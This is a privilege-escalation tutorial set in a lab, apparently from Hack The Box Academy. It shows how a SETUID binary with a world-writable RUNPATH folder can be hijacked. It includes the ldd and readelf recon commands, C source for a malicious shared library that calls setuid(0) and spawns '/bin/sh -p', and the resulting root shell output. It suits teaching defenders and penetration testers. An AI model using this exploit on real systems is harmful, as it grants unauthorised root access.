**Shared Object Hijacking**

Programs and binaries under development usually have custom libraries associated with them. Consider the following SETUID binary.

htb\_student@NIX02:~$ ls -la payroll

-rwsr-xr-x 1 root root 16728 Sep 1 22:05 payroll

We can use [ldd](https://manpages.ubuntu.com/manpages/bionic/man1/ldd.1.html) to print the shared object required by a binary or shared object. Ldd displays the location of the object and the hexadecimal address where it is loaded into memory for each of a program's dependencies.

htb\_student@NIX02:~$ ldd payroll

linux-vdso.so.1 => (0x00007ffcb3133000)

libshared.so => /lib/x86\_64-linux-gnu/libshared.so (0x00007f7f62e51000)

libc.so.6 => /lib/x86\_64-linux-gnu/libc.so.6 (0x00007f7f62876000)

/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

We see a non-standard library named libshared.so listed as a dependency for the binary. As stated earlier, it is possible to load shared libraries from custom locations. One such setting is the RUNPATH configuration. Libraries in this folder are given preference over other folders. This can be inspected using the [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html) utility.

htb\_student@NIX02:~$ readelf -d payroll | grep PATH

0x000000000000001d (RUNPATH) Library runpath: [/development]

The configuration allows the loading of libraries from the /development folder, which is writable by all users. This misconfiguration can be exploited by placing a malicious library in /development, which will take precedence over other folders because entries in this file are checked first (before other folders present in the configuration files).

htb\_student@NIX02:~$ ls -la /development/

total 8

drwxrwxrwx 2 root root 4096 Sep 1 22:06 ./

drwxr-xr-x 23 root root 4096 Sep 1 21:26 ../

Before compiling a library, we need to find the function name called by the binary.

htb\_student@NIX02:~$ cp /lib/x86\_64-linux-gnu/libc.so.6 /development/libshared.so

htb\_student@NIX02:~$ ldd payroll

linux-vdso.so.1 (0x00007ffd22bbc000)

libshared.so => /development/libshared.so (0x00007f0c13112000)

/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)

htb\_student@NIX02:~$ ./payroll

./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

We can copy an existing library to the development folder. Running ldd against the binary lists the library's path as /development/libshared.so, which means that it is vulnerable. Executing the binary throws an error stating that it failed to find the function named dbquery. We can compile a shared object which includes this function.

Code: c

#include<stdio.h>

#include<stdlib.h>

void dbquery() {

printf("Malicious library loaded\n");

setuid(0);

system("/bin/sh -p");

}

The dbquery function sets our user id to 0 (root) and executing /bin/sh when called. Compile it using [GCC](https://linux.die.net/man/1/gcc).

htb\_student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.so

Executing the binary again should display the banner and pops a root shell.

htb\_student@NIX02:~$ ./payroll

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*Inlane Freight Employee Database\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Malicious library loaded

# id

uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)